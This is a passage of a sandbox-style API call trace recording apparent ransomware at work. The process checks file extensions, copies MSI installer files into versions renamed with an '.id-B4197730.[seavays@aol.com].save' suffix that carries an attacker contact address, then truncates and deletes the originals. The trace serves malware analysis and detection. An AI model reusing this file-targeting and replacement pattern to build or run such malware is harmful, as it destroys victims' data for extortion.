lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.693] lstrlenW (lpString=".jpg") returned 4 [0052.693] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.694] lstrlenW (lpString=".doc") returned 4 [0052.694] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.694] lstrlenW (lpString=".docx") returned 5 [0052.694] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0052.694] lstrlenW (lpString=".pdf") returned 4 [0052.694] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.694] lstrlenW (lpString=".xls") returned 4 [0052.694] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.694] lstrlenW (lpString=".xlsx") returned 5 [0052.694] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0052.694] lstrlenW (lpString=".ppt") returned 4 [0052.694] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.694] lstrlenW (lpString=".zip") returned 4 [0052.694] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.694] lstrlenW (lpString=".rar") returned 4 [0052.694] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.694] lstrlenW (lpString=".bz2") returned 4 [0052.694] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.694] lstrlenW (lpString=".7z") returned 3 [0052.694] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.694] lstrlenW (lpString=".dbf") returned 4 [0052.694] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.694] lstrlenW (lpString=".1cd") returned 4 [0052.694] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0052.694] lstrlenW (lpString=".jpg") returned 4 [0052.694] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.695] lstrcmpiW (lpString1=".msi", lpString2=".save") returned -1 [0052.695] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0052.695] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.695] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1163264) returned 1 [0052.695] CloseHandle (hObject=0x2ec) returned 1 [0052.695] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0052.696] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.696] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.696] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.696] GetLastError () returned 0x0 [0052.696] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0052.719] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0052.738] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x1c010, lpOverlapped=0x0) returned 1 [0053.246] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x1c020, lpOverlapped=0x0) returned 1 [0053.251] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.253] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0053.253] SetEndOfFile (hFile=0x31c) returned 1 [0053.253] CloseHandle (hObject=0x31c) returned 1 [0053.279] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.280] SetEndOfFile (hFile=0x2ec) returned 1 [0053.281] CloseHandle (hObject=0x2ec) returned 1 [0053.281] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.282] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0053.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.283] lstrlenW (lpString=".doc") returned 4 [0053.283] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.283] lstrlenW (lpString=".docx") returned 5 [0053.283] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0053.283] lstrlenW (lpString=".pdf") returned 4 [0053.283] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.283] lstrlenW (lpString=".xls") returned 4 [0053.283] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.283] lstrlenW (lpString=".xlsx") returned 5 [0053.283] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0053.283] lstrlenW (lpString=".ppt") returned 4 [0053.283] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.283] lstrlenW (lpString=".zip") returned 4 [0053.283] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.283] lstrlenW (lpString=".rar") returned 4 [0053.283] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.283] lstrlenW (lpString=".bz2") returned 4 [0053.283] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.283] lstrlenW (lpString=".7z") returned 3 [0053.283] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.283] lstrlenW (lpString=".dbf") returned 4 [0053.283] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.284] lstrlenW (lpString=".1cd") returned 4 [0053.284] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.284] lstrlenW (lpString=".jpg") returned 4 [0053.284] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.284] lstrlenW (lpString=".doc") returned 4 [0053.284] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.284] lstrlenW (lpString=".docx") returned 5 [0053.284] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0053.284] lstrlenW (lpString=".pdf") returned 4 [0053.284] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.284] lstrlenW (lpString=".xls") returned 4 [0053.284] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.284] lstrlenW (lpString=".xlsx") returned 5 [0053.284] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0053.284] lstrlenW (lpString=".ppt") returned 4 [0053.284] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.284] lstrlenW (lpString=".zip") returned 4 [0053.284] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.284] lstrlenW (lpString=".rar") returned 4 [0053.284] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.284] lstrlenW (lpString=".bz2") returned 4 [0053.284] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.284] lstrlenW (lpString=".7z") returned 3 [0053.284] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.284] lstrlenW (lpString=".dbf") returned 4 [0053.285] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.285] lstrlenW (lpString=".1cd") returned 4 [0053.285] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0053.285] lstrlenW (lpString=".jpg") returned 4 [0053.285] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.285] lstrcmpiW (lpString1=".msi", lpString2=".save") returned -1 [0053.285] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0053.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0053.324] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=872448) returned 1 [0053.324] CloseHandle (hObject=0x2ec) returned 1 [0053.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0053.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0053.324] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.324] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.325] GetLastError () returned 0x0 [0053.325] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xd5000, lpOverlapped=0x0) returned 1 [0053.342] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xd5010, lpOverlapped=0x0) returned 1 [0053.360] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.360] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x100, lpOverlapped=0x0) returned 1 [0053.361] SetEndOfFile (hFile=0x31c) returned 1 [0053.361] CloseHandle (hObject=0x31c) returned 1 [0054.212] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.212] SetEndOfFile (hFile=0x2ec) returned 1 [0054.220] CloseHandle (hObject=0x2ec) returned 1 [0054.220] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.220] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0054.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.220] lstrlenW (lpString=".doc") returned 4 [0054.220] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.220] lstrlenW (lpString=".docx") returned 5 [0054.220] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0054.221] lstrlenW (lpString=".pdf") returned 4 [0054.221] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.221] lstrlenW (lpString=".xls") returned 4 [0054.221] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.221] lstrlenW (lpString=".xlsx") returned 5 [0054.221] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0054.221] lstrlenW (lpString=".ppt") returned 4 [0054.221] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.221] lstrlenW (lpString=".zip") returned 4 [0054.221] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.221] lstrlenW (lpString=".rar") returned 4 [0054.221] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.221] lstrlenW (lpString=".bz2") returned 4 [0054.221] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.221] lstrlenW (lpString=".7z") returned 3 [0054.221] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.221] lstrlenW (lpString=".dbf") returned 4 [0054.221] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.221] lstrlenW (lpString=".1cd") returned 4 [0054.221] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.221] lstrlenW (lpString=".jpg") returned 4 [0054.221] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.221] lstrlenW (lpString=".doc") returned 4 [0054.221] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.221] lstrlenW (lpString=".docx") returned 5 [0054.221] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0054.222] lstrlenW (lpString=".pdf") returned 4 [0054.222] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.222] lstrlenW (lpString=".xls") returned 4 [0054.222] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.222] lstrlenW (lpString=".xlsx") returned 5 [0054.222] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0054.222] lstrlenW (lpString=".ppt") returned 4 [0054.222] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.222] lstrlenW (lpString=".zip") returned 4 [0054.222] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.222] lstrlenW (lpString=".rar") returned 4 [0054.222] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.222] lstrlenW (lpString=".bz2") returned 4 [0054.222] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.222] lstrlenW (lpString=".7z") returned 3 [0054.222] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.222] lstrlenW (lpString=".dbf") returned 4 [0054.222] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.222] lstrlenW (lpString=".1cd") returned 4 [0054.222] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0054.222] lstrlenW (lpString=".jpg") returned 4 [0054.222] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.222] lstrcmpiW (lpString1=".msi", lpString2=".save") returned -1 [0054.222] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0054.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0054.223] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=495616) returned 1 [0054.223] CloseHandle (hObject=0x2ec) returned 1 [0054.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0054.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0054.223] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.223] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.224] GetLastError () returned 0x0 [0054.224] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x79000, lpOverlapped=0x0) returned 1 [0054.234] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x79010, lpOverlapped=0x0) returned 1 [0054.848] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0054.857] WriteFile (in: hFile=0x31c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x100, lpOverlapped=0x0) returned 1 [0054.857] SetEndOfFile (hFile=0x31c) returned 1 [0054.857] CloseHandle (hObject=0x31c) returned 1 [0054.867] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.867] SetEndOfFile (hFile=0x2ec) returned 1 [0054.871] CloseHandle (hObject=0x2ec) returned 1 [0054.872] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.872] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0054.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.873] lstrlenW (lpString=".doc") returned 4 [0054.873] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.873] lstrlenW (lpString=".docx") returned 5 [0054.873] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0054.873] lstrlenW (lpString=".pdf") returned 4 [0054.873] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.873] lstrlenW (lpString=".xls") returned 4 [0054.873] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.873] lstrlenW (lpString=".xlsx") returned 5 [0054.873] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0054.873] lstrlenW (lpString=".ppt") returned 4 [0054.873] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.873] lstrlenW (lpString=".zip") returned 4 [0054.873] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.873] lstrlenW (lpString=".rar") returned 4 [0054.873] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.873] lstrlenW (lpString=".bz2") returned 4 [0054.873] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.873] lstrlenW (lpString=".7z") returned 3 [0054.873] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.873] lstrlenW (lpString=".dbf") returned 4 [0054.873] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.873] lstrlenW (lpString=".1cd") returned 4 [0054.873] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.873] lstrlenW (lpString=".jpg") returned 4 [0054.873] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.874] lstrlenW (lpString=".doc") returned 4 [0054.874] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.874] lstrlenW (lpString=".docx") returned 5 [0054.874] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0054.874] lstrlenW (lpString=".pdf") returned 4 [0054.874] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.874] lstrlenW (lpString=".xls") returned 4 [0054.874] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.874] lstrlenW (lpString=".xlsx") returned 5 [0054.874] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0054.874] lstrlenW (lpString=".ppt") returned 4 [0054.874] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.874] lstrlenW (lpString=".zip") returned 4 [0054.874] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.874] lstrlenW (lpString=".rar") returned 4 [0054.874] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.874] lstrlenW (lpString=".bz2") returned 4 [0054.874] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.874] lstrlenW (lpString=".7z") returned 3 [0054.874] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.874] lstrlenW (lpString=".dbf") returned 4 [0054.874] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0054.874] lstrlenW (lpString=".1cd") returned 4 [0054.874] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.874] lstrlenW 